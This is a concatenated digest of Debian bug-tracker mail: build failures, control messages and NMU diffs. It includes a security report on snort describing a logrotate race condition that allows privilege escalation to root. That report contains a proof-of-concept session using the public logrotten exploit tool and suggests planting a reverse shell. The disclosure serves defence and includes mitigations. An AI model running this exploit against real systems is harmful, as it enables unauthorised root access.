@@ -106,12 +106,12 @@ class ReceiveTests(unittest.TestCase):
stdout = subprocess.PIPE,
stderr = subprocess.STDOUT) as child:
_wait_for_socket()
-loop = asyncio.get_event_loop()
+#loop = asyncio.get_event_loop()
with LircdConnection('foo',
socket_path=_SOCKET,
lircrc_path='lircrc.conf') as conn:
-loop.run_until_complete(get_lines(conn, 1000))
-loop.close()
+run_until_complete(get_lines(conn, 1000))
+#loop.close()
self.assertEqual(len(lines), 1000)
self.assertEqual(lines[0], 'foo-cmd')
stappers@myhost:~/src/lirc/python-pkg/tests
$
8<--8<--8<--8<--
I hope this helps to fix the fails to build from source.
Groeten
Geert Stappers
--
Silence is hard to parse
Processed: src:tetzle: fails to migrate to testing for too long: new build dependency not available on s390x
Processing control commands: > close -1 2.2.0-1 Bug #1009831 [src:tetzle] src:tetzle: fails to migrate to testing for too long: new build dependency not available on s390x Marked as fixed in versions tetzle/2.2.0-1. Bug #1009831 [src:tetzle] src:tetzle: fails to migrate to testing for too long: new build dependency not available on s390x Marked Bug as done -- 1009831: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009831 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009831: src:tetzle: fails to migrate to testing for too long: new build dependency not available on s390x
Source: tetzle Version: 2.1.6-1 Severity: serious Control: close -1 2.2.0-1 Tags: sid bookworm User: release.debian@packages.debian.org Usertags: out-of-sync Dear maintainer(s), The Release Team considers packages that are out-of-sync between testing and unstable for more than 60 days as having a Release Critical bug in testing [1]. Your package src:tetzle has been trying to migrate for 61 days [2]. Hence, I am filing this bug. In your latest upload you added a new build dependency. However, that build dependency isn't available on s390x where your package built successfully in the past. I suggest you file an RM bug (ftp.debian.org pseudo package) to have your s390x binary remove from unstable. If a package is out of sync between unstable and testing for a longer period, this usually means that bugs in the package in testing cannot be fixed via unstable. Additionally, blocked packages can have impact on other packages, which makes preparing for the release more difficult. Finally, it often exposes issues with the package and/or its (reverse-)dependencies. We expect maintainers to fix issues that hamper the migration of their package in a timely manner. This bug will trigger auto-removal when appropriate. As with all new bugs, there will be at least 30 days before the package is auto-removed. I have immediately closed this bug with the version in unstable, so if that version or a later version migrates, this bug will no longer affect testing. I have also tagged this bug to only affect sid and bookworm, so it doesn't affect (old-)stable. If you believe your package is unable to migrate to testing due to issues beyond your control, don't hesitate to contact the Release Team. Paul [1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html [2] https://qa.debian.org/excuses.php?package=tetzle OpenPGP_signature Description: OpenPGP digital signature
Processed: src:uncalled: fails to migrate to testing for too long: new build-dependency doesn't migrate
Processing control commands: > close -1 2.2+ds1-1 Bug #1009830 [src:uncalled] src:uncalled: fails to migrate to testing for too long: new build-dependency doesn't migrate Marked as fixed in versions uncalled/2.2+ds1-1. Bug #1009830 [src:uncalled] src:uncalled: fails to migrate to testing for too long: new build-dependency doesn't migrate Marked Bug as done -- 1009830: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009830 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009830: src:uncalled: fails to migrate to testing for too long: new build-dependency doesn't migrate
Source: uncalled Version: 2.2+ds-3 Severity: serious Control: close -1 2.2+ds1-1 Tags: sid bookworm User: release.debian@packages.debian.org Usertags: out-of-sync Dear maintainer(s), The Release Team considers packages that are out-of-sync between testing and unstable for more than 60 days as having a Release Critical bug in testing [1]. Your package src:uncalled has been trying to migrate for 61 days [2]. Hence, I am filing this bug. In the latest upload you added a new build dependency available in unstable, but that package isn't ready to migrate yet. If a package is out of sync between unstable and testing for a longer period, this usually means that bugs in the package in testing cannot be fixed via unstable. Additionally, blocked packages can have impact on other packages, which makes preparing for the release more difficult. Finally, it often exposes issues with the package and/or its (reverse-)dependencies. We expect maintainers to fix issues that hamper the migration of their package in a timely manner. This bug will trigger auto-removal when appropriate. As with all new bugs, there will be at least 30 days before the package is auto-removed. I have immediately closed this bug with the version in unstable, so if that version or a later version migrates, this bug will no longer affect testing. I have also tagged this bug to only affect sid and bookworm, so it doesn't affect (old-)stable. If you believe your package is unable to migrate to testing due to issues beyond your control, don't hesitate to contact the Release Team. Paul [1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html [2] https://qa.debian.org/excuses.php?package=uncalled OpenPGP_signature Description: OpenPGP digital signature
Processed: Re: Bug#1008189: meson: gnome module incorrectly requires gtk4-update-icon-cache
Processing commands for cont...@bugs.debian.org: > affects 1008189 src:ghex Bug #1008189 [src:meson] meson: gnome module incorrectly requires gtk4-update-icon-cache Added indication that 1008189 affects src:ghex > End of message, stopping processing here. Please contact me if you need assistance. -- 1008189: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008189 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009828: hfst: impossible depends on armel and mipsel
Package: hfst Version: 3.16.0-2 Severity: serious X-Debbugs-Cc: sramac...@debian.org hfst is currently not able to migrate due to dependency issues on armel and mipsel: Issues preventing migration: ∙ ∙ Impossible Depends: hfst -> libfst8/1.6.3-2/armel ∙ ∙ Impossible Depends: hfst -> libfst8/1.6.3-2/mipsel Cheers -- Sebastian Ramacher signature.asc Description: PGP signature
Bug#999620: pktanon: autopkgtest regression on armhf
On Mon, Apr 18, 2022 at 07:46:34PM +0200, Sascha Steinbiss wrote: > Hi, > > > Do you think we should wait for this to be fixed? As I said before I (just > > > from my practical point of view) would be in favor of just removing the > > > problematic architectures. > > I have no opinion on this. But if you want the package to be releasable, > > you will need to change it so that it is not building a (completely broken > > and useless) package on armhf, then get agreement with the ftp team to > > remove the existing armhf binaries. > Yes, sure. Will file RM bugs right after an upload disabling the builds. > BTW, since you seem to be knowledgeable in the matter, can you think of any > other architectures I would need to exclude here other than armhf? Just to > ensure that I remove a sensible list of affected archs and reduce potential > rounds of additional RMs... The other architectures where alignment matters are all obsolete architectures in Debian. (alpha, hppa, powerpc, sparc are the ones that come to mind.) This could be an issue for running armel binaries on an arm64 CPU, but I don't see any reason why someone would do that. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developer https://www.debian.org/ slanga...@ubuntu.com vor...@debian.org signature.asc Description: PGP signature
Bug#1008818: why is this rpm's fault?
On Mon, Apr 18, 2022 at 06:32:07PM +0200, Thomas Lange wrote: > > On Mon, 18 Apr 2022 16:16:18 +0300, Peter Pentchev > > said: > > > > If you run sudo without the "set_home" option, thus making it preserve > > the HOME environment variable, rpm run as root with HOME set to > > /home/something will indeed do the wrong thing. > I have no set_home entry in /etc/sudoers and everything in > /etc/sudo.conf is commented out. > > Here's a test: > > As normal user > $ export HOME=/tmp/b > $ sudo rpm -qa > > This still creates /root/.rpmdb > and not > /tmp/b/.rpmdb $ HOME=/tmp/b sudo rpm -q rpm; ls -a /tmp/b package rpm is not installed ls: cannot access '/tmp/b': No such file or directory $ HOME=/tmp/b sudo -E rpm -q rpm; ls -a /tmp/b package rpm is not installed . .. .rpmdb -- mail / xmpp / matrix: tzaf...@cohens.org.il
Bug#1009359: New security upgrade prevent Chromium from starting
Hm, good question. What I'd start doing is looking at the ~/.cache/chromium and ~/.config/chromium snapshots, making copies, and then trying to run chromium with random stuff deleted. For example, on my system I have ~/.cache/chromium/Profile 1/old_Cache_000 and ~/.cache/chromium/System Profile/Code Cache and ~/.cache/chromium/Profile 1/Cache/Cache_Data/. So I'd start by deleting old_Cache_000 and seeing if it still crashes. If it does, I'd get rid of the Code Cache as well. If it doesn't still crash, I'd copy Code Cache back over and then try deleting Cache_Data. If that directory is needed to get it to crash, I'd try deleting files within that directory until I had a minimal number of files that still cause the crash. I'd do the same for my ~/.config/chromium directory, too. Once you have a minimal snapshot, you can look at the individual items in the snapshot to see if any sensitive work info is in there. If it's just, say, internal gitlab urls and pages that don't have proprietary details of your workplace, then maybe you could file a bug and include a tarball with those. If it does include sensitive data, then either it's time to give up or you could try editing the cache/config files to try and replace the details in the file. Eg, if the cache has the code name of some unreleased product, you might be able to just change the string from "Seckrit name" to "foobar1 name" and see if it still crashes. I don't know how chromium will behave with only half a cache, but it would be good to do a sanity check every once in a while by (again, after making a backup copy) starting chromium with -g to ensure it repairs itself and runs like with your full cache snapshot. On 4/18/22 03:49, Anthony Callegaro wrote: Hey Andres, I do have a copy of the crashing Chromium profile but this is my professional one. And though I would love to help discovering a security bug in Chromium, I work in a security sensitive environment and wouldn't be able to share it without finding a way of selectively removing things from cache. Do you know if that's even possible ? Take care LeTic
Processed: [bts-link] source package lxqt-build-tools
Processing commands for cont...@bugs.debian.org: > # > # bts-link upstream status pull for source package lxqt-build-tools > # see http://lists.debian.org/debian-devel-announce/2006/05/msg1.html > # https://bts-link-team.pages.debian.net/bts-link/ > # > user debian-bts-l...@lists.debian.org Setting user to debian-bts-l...@lists.debian.org (was debian-bts-l...@lists.debian.org). > # remote status report for #1008416 (http://bugs.debian.org/1008416) > # Bug title: libqtxdg: FTBFS: Could NOT find GLIB (missing: > GLIB_GIO_UNIX_INCLUDE_DIR) (found suitable version "2.72.0", minimum required > is "2.41.0") > # * https://github.com/lxqt/lxqt-build-tools/pull/74 > # * remote status changed: (?) -> closed > # * closed upstream > tags 1008416 + fixed-upstream Bug #1008416 [lxqt-build-tools] libqtxdg: FTBFS: Could NOT find GLIB (missing: GLIB_GIO_UNIX_INCLUDE_DIR) (found suitable version "2.72.0", minimum required is "2.41.0") Added tag(s) fixed-upstream. > usertags 1008416 + status-closed There were no usertags set. Usertags are now: status-closed. > thanks Stopping processing here. Please contact me if you need assistance. -- 1008416: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008416 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#999620: pktanon: autopkgtest regression on armhf
Hi, Do you think we should wait for this to be fixed? As I said before I (just from my practical point of view) would be in favor of just removing the problematic architectures. I have no opinion on this. But if you want the package to be releasable, you will need to change it so that it is not building a (completely broken and useless) package on armhf, then get agreement with the ftp team to remove the existing armhf binaries. Yes, sure. Will file RM bugs right after an upload disabling the builds. BTW, since you seem to be knowledgeable in the matter, can you think of any other architectures I would need to exclude here other than armhf? Just to ensure that I remove a sensible list of affected archs and reduce potential rounds of additional RMs... Thanks Sascha OpenPGP_signature Description: OpenPGP digital signature
Bug#1009823: halide: FTBFS on arm64
Source: halide Version: 14.0.0-1 Severity: serious Tags: ftbfs Justification: fails to build from source (but built successfully in the past) halide FTBFS on arm64: 317/569 Test #317: correctness_strided_load ... Passed1.12 sec Start 318: correctness_target 318/569 Test #318: correctness_target . Passed0.06 sec Start 319: correctness_thread_safety E: Build killed with signal TERM after 150 minutes of inactivity See https://buildd.debian.org/status/fetch.php?pkg=halide=arm64=14.0.0-1=1649974599=0 Cheers -- Sebastian Ramacher
Bug#1009822: gnss-sdr: autopkgtest regression
Source: gnss-sdr Version: 0.0.16-1 Severity: serious Tags: sid bookworm gnss-sdr's autopkgtest fail with gr-osmosdr 0.2.3-6 autopkgtest [14:10:33]: test testgnsssdr: [--- terminate called after throwing an instance of 'std::runtime_error' what(): rpcmanager: Aggregator not in use, and a rpc booter is already registered Aborted autopkgtest [14:10:33]: test testgnsssdr: ---] autopkgtest [14:10:33]: test testgnsssdr: - - - - - - - - - - results - - - - - - - - - - testgnsssdr FAIL non-zero exit status 134 autopkgtest [14:10:34]: test testgnsssdr: - - - - - - - - - - stderr - - - - - - - - - - terminate called after throwing an instance of 'std::runtime_error' what(): rpcmanager: Aggregator not in use, and a rpc booter is already registered Aborted autopkgtest [14:10:34]: summary testgnsssdr FAIL non-zero exit status 134 See https://ci.debian.net/data/autopkgtest/testing/amd64/g/gnss-sdr/20968987/log.gz Cheers -- Sebastian Ramacher
Processed: [bts-link] source package src:r-bioc-biostrings
Processing commands for cont...@bugs.debian.org: > # > # bts-link upstream status pull for source package src:r-bioc-biostrings > # see http://lists.debian.org/debian-devel-announce/2006/05/msg1.html > # https://bts-link-team.pages.debian.net/bts-link/ > # > user debian-bts-l...@lists.debian.org Setting user to debian-bts-l...@lists.debian.org (was debian-bts-l...@lists.debian.org). > # remote status report for #1009467 (http://bugs.debian.org/1009467) > # Bug title: r-bioc-biostrings: FTBFS: BitMatrix.c:9:10: fatal error: S.h: No > such file or directory > # * https://github.com/Bioconductor/Biostrings/issues/66 > # * remote status changed: (?) -> closed > # * closed upstream > tags 1009467 + fixed-upstream Bug #1009467 [src:r-bioc-biostrings] r-bioc-biostrings: FTBFS: BitMatrix.c:9:10: fatal error: S.h: No such file or directory Added tag(s) fixed-upstream. > usertags 1009467 + status-closed There were no usertags set. Usertags are now: status-closed. > thanks Stopping processing here. Please contact me if you need assistance. -- 1009467: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009467 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: [bts-link] source package src:libpdf-builder-perl
Processing commands for cont...@bugs.debian.org: > # > # bts-link upstream status pull for source package src:libpdf-builder-perl > # see http://lists.debian.org/debian-devel-announce/2006/05/msg1.html > # https://bts-link-team.pages.debian.net/bts-link/ > # > user debian-bts-l...@lists.debian.org Setting user to debian-bts-l...@lists.debian.org (was debian-bts-l...@lists.debian.org). > # remote status report for #1009448 (http://bugs.debian.org/1009448) > # Bug title: libpdf-builder-perl: FTBFS: dh_auto_test: error: make -j8 test > TEST_VERBOSE=1 returned exit code 2 > # * https://github.com/PhilterPaper/Perl-PDF-Builder/issues/177 > # * remote status changed: (?) -> closed > # * closed upstream > tags 1009448 + fixed-upstream Bug #1009448 [src:libpdf-builder-perl] libpdf-builder-perl: FTBFS: dh_auto_test: error: make -j8 test TEST_VERBOSE=1 returned exit code 2 Added tag(s) fixed-upstream. > usertags 1009448 + status-closed There were no usertags set. Usertags are now: status-closed. > thanks Stopping processing here. Please contact me if you need assistance. -- 1009448: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009448 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009820: snort: Privilege escalation due to insecure use of logrotate
Package: snort
Version: 2.9.15.1-5
Severity: critical
Tags: security upstream
Justification: root security hole
X-Debbugs-Cc: sec-advis...@ait.ac.at
Dear Maintainer,
The path of the logdirectory of snort can be manipulated by user
Snort in Debian Bullseye:
# ls -ld /var/log/snort/
drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/
The files in /var/log/snort/*/*log are once a day rotated by
logrotate as user root with the following config:
/var/log/snort/snort.alert /var/log/snort/snort.alert.fast /var/log/snort/*log
/var/log/snort/*/alert /var/log/snort/*/*log {
daily
rotate 7
compress
missingok
notifempty
create 0640 snort adm
sharedscripts
postrotate
if [ -x /usr/sbin/invoke-rc.d ]; then \
invoke-rc.d snort restart > /dev/null; \
else \
/etc/init.d/snort restart > /dev/null; \
fi;
endscript
}
Due to logrotate is prone to a race-condition(see the link to my blog below) it
is possible for user "snort" to replace or create any directory in
/var/log/snort/ with a symbolik link to any
directory(for example /etc/bash_completion.d). logrotate will place files AS
ROOT into /etc/bash_completition.d and set the owner and group to "snort.adm".
An attacker could simply place a reverse-shell into this file. As soon as root
logs in, a reverse shell will be executed then.
You can find an exploit for this bug at my blog:
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
and https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
Proof of Concept:
#
snort@b8ff2e70f94d:~$ cd /tm
snort@b8ff2e70f94d:/tmp$ git clone https://github.com/whotwagner/logrotten.git
Cloning into 'logrotten'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87
Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done.
Resolving deltas: 100% (41/41), done.
snort@b8ff2e70f94d:/tmp$ cd logrotten/
snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c
snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload
snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn
snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo
snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c
/var/log/snort/pwn/pwnme.log
Waiting for rotating /var/log/snort/pwn/pwnme.log...
Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to
/etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 8
-rw-r--r-- 1 root root 439 Mar 10 2021 git-prompt
-r-xr-xr-x 1 snort adm 19 Apr 14 08:43 pwnme.log
Mitigation:
###
You could mitigate the problem by changing the owner and group of
/var/log/snort to root, or by using the "su option" in /etc/logrotate.d/snort.
Note: I also checked out the sources of the current snort(snort-2.9.19). The
source archive contains a file "snort-2.9.19/rpm/snort.logrotate" with a very
similar content.
I have tested this vulnerability on Debian Bullseye with the following snort
version:
||/ Name Version Architecture Description
+++-==---===
ii snort 2.9.15.1-5 amd64flexible Network Intrusion
Detection System
I also checked out Debian Buster and it has a different logrotate-config for
snort which doesn't seem to be affected.
-- System Information:
Debian Release: 11.3
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 5.10.0-13-amd64 (SMP w/1 CPU thread)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages snort depends on:
ii adduser 3.118
ii debconf [debconf-2.0]1.5.77
ii init-system-helpers 1.60
ii libc62.31-13+deb11u3
ii libdaq2 2.0.7-5
ii libdumbnet1 1.12-9
ii liblzma5 5.2.5-2
ii libnetfilter-queue1 1.0.5-2
ii libnghttp2-141.43.0-1
ii libpcap0.8 1.10.0-2
ii libpcre3 2:8.39-13
ii libssl1.11.1.1n-0+deb11u1
ii logrotate3.18.0-2
ii lsb-base 11.1.0
ii net-tools1.60+git20181103.0eebece-1
ii rsyslog [system-log-daemon] 8.2102.0-2
ii snort-common 2.9.15.1-5
ii snort-common-libraries 2.9.15.1-5
ii snort-rules-default 2.9.15.1-5
ii zlib1g 1:1.2.11.dfsg-2+deb11u1
Processed: lower severity
Processing commands for cont...@bugs.debian.org: > severity 981680 important Bug #981680 [src:golang-github-canonical-go-dqlite] golang-github-canonical-go-dqlite FTBFS: test failures Severity set to 'important' from 'serious' > thanks Stopping processing here. Please contact me if you need assistance. -- 981680: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=981680 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#981680: closed by Debian FTP Masters (reply to Mathias Gibbens ) (Bug#981680: fixed in golang-github-canonical-go-dqlite 1.10.1-1)
Control: severtiy -1 important On Fri, 26 Nov 2021 14:43:09 +0200 Adrian Bunk wrote: > Control: reopen -1 > > On Fri, Nov 26, 2021 at 12:21:09PM +, Debian Bug Tracking System wrote: > >... > > golang-github-canonical-go-dqlite (1.10.1-1) unstable; urgency=medium > >... > >* Add patches to fix tests (Closes: #981680) > >... > > Unfortunately this does not seem to be sufficient: > https://buildd.debian.org/status/logs.php?pkg=golang-github-canonical-go-dqlite=1.10.1-1 1.11.0-1 builds so I am lowering the severity. signature.asc Description: PGP signature
Bug#1008832: freeradius-python3: Module not linked with libpython when built with Python 3.10
Control: tags -1 patch
On 2022-04-02 Adrian Bunk wrote:
> Package: freeradius-python3
> Version: 3.0.25+dfsg-1
> Severity: serious
> Forwarded: https://github.com/FreeRADIUS/freeradius-server/issues/4441
> Package: freeradius-python3
> Version: 3.0.25+dfsg-1+b1
> Depends: freeradius (= 3.0.25+dfsg-1+b1), libc6 (>= 2.4), libpython3.9 (>=
> 3.9.1)
> $ objdump -p /usr/lib/freeradius/rlm_python3.so | grep NEEDED NEEDED
> libpython3.9.so.1.0
> NEEDED libpthread.so.0
> NEEDED libdl.so.2
> NEEDED libc.so.6
> NEEDED ld-linux-x86-64.so.2
> $
> Package: freeradius-python3
> Version: 3.0.25+dfsg-1+b2
> Depends: freeradius (= 3.0.25+dfsg-1+b2), libc6 (>= 2.4)
> $ objdump -p /usr/lib/freeradius/rlm_python3.so | grep NEEDED
> NEEDED libpthread.so.0
> NEEDED libdl.so.2
> NEEDED libc.so.6
> NEEDED ld-linux-x86-64.so.2
> $
Hello,
As far as I can tell this caused by
a) freeradius doing an incomplete autoreconf at build-time (only at top
level directory, to configure-scripts in subdirectories are not
regenerated and
b) the upstream tarball's src/modules/rlm_python3/configure was built
using old autoconf macros which do not handle python 3.10.
Minimal fix seems to be to ship the results of
pushd src/modules/rlm_python3/ && aclocal -I ../../../m4 && autoconf -I
../../../m4 --force ; popd
in a patch.
A complete fix would fix dh_autoreconf usage to rebuild all configure
scripts. The basic idea would be
override_dh_autoreconf:
dh_autoreconf --verbose debian/autoreconfme
and debian/autoreconfme containing
8X---
#!/bin/sh
set -e
base=`pwd`
find `pwd` -name configure.ac -printf '%h\n' |
while read i ; do
cd $i
autoconf --force \
--include=${base}/m4
done
8X---
However some additional ugliness is going to be needed because the
upstream system is kindof broken:
[...]
(sid)ametzler@argenau:/dev/shm/FREE/freeradius-3.0.25+dfsg/src/modules/rlm_python3$
autoconf -I ../../../m4 --force -I /usr/share/aclocal
[...]
configure.ac:13: error: possibly undefined macro: AM_PATH_PYTHON
---> So in this subdirectory aclocal is needed before autoconf to resolve
AM_PATH_PYTHON.
But aclocal does not run successfully in all module subdirectories, e.g.
rlm_perl ...
(sid)ametzler@argenau:/dev/shm/FREE/freeradius-3.0.25+dfsg/src/modules/rlm_perl$
aclocal -I ../../../m4 --force
[...]
aclocal: error: configure.ac:6: file 'ax_with_prog.m4' does not exist
(sid)ametzler@argenau:/dev/shm/FREE/freeradius-3.0.25+dfsg/src/modules/rlm_perl$
grep ax_with_prog.m4 configure.ac
m4_include([ax_with_prog.m4])
... since in my tests aclocal does not look in directories given in -I
options to find files specified in m4_include() but expects the file
in the current working directories.
Obvious ugly solutions:
* Copy the m4 file to the subdirectories where they are refered by
m4_include and run aclocal in addition to autoconf in
debian/autoreconfme.
* Semi-manually construct a toplevel aclocal.m4 file by running aclocal on
a throwaway configure.ac using all non-standard macros like
AM_PATH_PYTHON and the invoke autoconf in the subdirectories with -I
to the directory contaiing the constructed aclocal.m4.
cu Andreas
--
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'
Processed: Re: Bug#1008832: freeradius-python3: Module not linked with libpython when built with Python 3.10
Processing control commands: > tags -1 patch Bug #1008832 [freeradius-python3] freeradius-python3: Module not linked with libpython when built with Python 3.10 Added tag(s) patch. -- 1008832: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008832 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: d52: diff for NMU version 3.4.1-1.2
Processing control commands: > tags 965480 + patch Bug #965480 [src:d52] d52: Removal of obsolete debhelper compat 5 and 6 in bookworm Added tag(s) patch. > tags 965480 + pending Bug #965480 [src:d52] d52: Removal of obsolete debhelper compat 5 and 6 in bookworm Added tag(s) pending. -- 965480: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965480 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#965480: d52: diff for NMU version 3.4.1-1.2
Control: tags 965480 + patch Control: tags 965480 + pending Dear maintainer, I've prepared an NMU for d52 (versioned as 3.4.1-1.2) and uploaded it to DELAYED/2. Please feel free to tell me if I should delay it longer. Regards. diff -u d52-3.4.1/debian/changelog d52-3.4.1/debian/changelog --- d52-3.4.1/debian/changelog +++ d52-3.4.1/debian/changelog @@ -1,3 +1,10 @@ +d52 (3.4.1-1.2) unstable; urgency=medium + + * Non-maintainer upload. + * Bumped debhelper compat to 7. (Closes: #965480) + + -- Guilherme de Paula Xavier Segundo Mon, 18 Apr 2022 07:36:59 -0300 + d52 (3.4.1-1.1) unstable; urgency=low * Non-maintainer upload. signature.asc Description: PGP signature
Bug#1008818: why is this rpm's fault?
> On Mon, 18 Apr 2022 16:16:18 +0300, Peter Pentchev > said: > If you run sudo without the "set_home" option, thus making it preserve > the HOME environment variable, rpm run as root with HOME set to > /home/something will indeed do the wrong thing. I have no set_home entry in /etc/sudoers and everything in /etc/sudo.conf is commented out. Here's a test: As normal user $ export HOME=/tmp/b $ sudo rpm -qa This still creates /root/.rpmdb and not /tmp/b/.rpmdb -- regards Thomas
Processed: Re: Bug#997767: open-ath9k-htc-firmware: FTBFS: patching fails
Processing control commands: > notforwarded -1 Bug #997767 [src:open-ath9k-htc-firmware] open-ath9k-htc-firmware: FTBFS: patching fails Unset Bug forwarded-to-address > tags -1 - pending Bug #997767 [src:open-ath9k-htc-firmware] open-ath9k-htc-firmware: FTBFS: patching fails Removed tag(s) pending. -- 997767: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997767 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#997767: open-ath9k-htc-firmware: FTBFS: patching fails
Control: notforwarded -1 Control: tags -1 - pending On Sun, 24 Oct 2021 13:05:15 + John Scott wrote: The fix is currently waiting in the NEW queue. It seems the upload has not passed the NEW queue. Can you please hand in the fix again? I would very much like this package to be available in bookworm.
Bug#1009204: vdirsyncer: diff for NMU version 0.18.0-6.1
Control: tags 1009204 + patch Control: tags 1009204 + pending Dear maintainer, I've prepared an NMU for vdirsyncer (versioned as 0.18.0-6.1) and uploaded it to DELAYED/2. Please feel free to tell me if I should delay it longer. I also prepared a repository update at https://salsa.debian.org/mjt/vdirsyncer , tag debian/0.18.0-6.1 , branch nmu-0.18.0-6.1, at 324bef8b , which you can import to the main repository. Regards. diff -Nru vdirsyncer-0.18.0/debian/changelog vdirsyncer-0.18.0/debian/changelog --- vdirsyncer-0.18.0/debian/changelog 2022-02-23 01:34:53.0 +0300 +++ vdirsyncer-0.18.0/debian/changelog 2022-04-18 17:39:33.0 +0300 @@ -1,3 +1,12 @@ +vdirsyncer (0.18.0-6.1) unstable; urgency=medium + + * Non-maintainer upload. + * add python3-all dependency to d/tests/control: the test is written +so it iterates over all python3 versions but does not depend on +all pythons. Closes: #1009204 + + -- Michael Tokarev Mon, 18 Apr 2022 17:39:33 +0300 + vdirsyncer (0.18.0-6) unstable; urgency=medium * avoid checking flaky test test_fuzzing; diff -Nru vdirsyncer-0.18.0/debian/tests/control vdirsyncer-0.18.0/debian/tests/control --- vdirsyncer-0.18.0/debian/tests/control 2022-02-23 01:23:14.0 +0300 +++ vdirsyncer-0.18.0/debian/tests/control 2022-04-18 17:39:21.0 +0300 @@ -7,4 +7,5 @@ python3-pytest, python3-pytest-cov, python3-pytest-localserver, + python3-all, vdirsyncer,
Processed: vdirsyncer: diff for NMU version 0.18.0-6.1
Processing control commands: > tags 1009204 + patch Bug #1009204 [src:vdirsyncer] vdirsyncer: (autopkgtest) needs update for python3.10: python3.9: command not found Added tag(s) patch. > tags 1009204 + pending Bug #1009204 [src:vdirsyncer] vdirsyncer: (autopkgtest) needs update for python3.10: python3.9: command not found Added tag(s) pending. -- 1009204: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009204 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009814: android-platform-tools_29.0.6-8_s390x-buildd.changes REJECTED
Source: android-platform-tools Version: 29.0.6-8 Severity: serious On 2022-04-18 14:49, Debian FTP Masters wrote: > > > Version check failed: > Your upload included the binary package android-sdk-libsparse-utils, version > 29.0.6-8, for s390x, > however testing already has version 1:10.0.0+r36-10. > Uploads to unstable must have a higher version than present in testing. > > Mapping sid to unstable. > > === > > Please feel free to respond to this email if you don't understand why > your files were rejected, or if you upload new files which address our > concerns. > > >
Bug#1009472: marked as done (fckit: FTBFS: dh_auto_test: error: cd debian/build-gfortran && make -j8 test ARGS\+=-j8 returned exit code 2)
Your message dated Mon, 18 Apr 2022 14:44:43 +0100 with message-id <3cf2c1b4-5993-c24f-f33b-302022506...@debian.org> and subject line close has caused the Debian Bug report #1009472, regarding fckit: FTBFS: dh_auto_test: error: cd debian/build-gfortran && make -j8 test ARGS\+=-j8 returned exit code 2 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009472: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009472 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: fckit Version: 0.9.5-1 Severity: serious Justification: FTBFS Tags: bookworm sid ftbfs User: lu...@debian.org Usertags: ftbfs-20220412 ftbfs-bookworm Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > make[5]: Entering directory > '/<>/debian/build-gfortran/src/tests/test_downstream_fypp/downstream' > [ 85%] Building Fortran object CMakeFiles/main.dir/main.F90.o > /usr/bin/gfortran -I/<>/src > -I/<>/debian/build-gfortran/src > -I/<>/debian/build-gfortran/module -Jmodule -fPIE > -DDOWNSTREAM_Fortran_FLAGS='"DOWNSTREAM_Fortran_FLAGS"' > -DDOWNSTREAM_Fortran_FLAGS_RELWITHDEBINFO='"DOWNSTREAM_Fortran_FLAGS_RELWITHDEBINFO"' > -c /<>/src/tests/test_downstream_fypp/downstream/main.F90 -o > CMakeFiles/main.dir/main.F90.o > [100%] Linking Fortran executable bin/main > /usr/bin/cmake -E remove > /<>/debian/build-gfortran/src/tests/test_downstream_fypp/downstream/bin/main > /usr/bin/cmake -E cmake_link_script 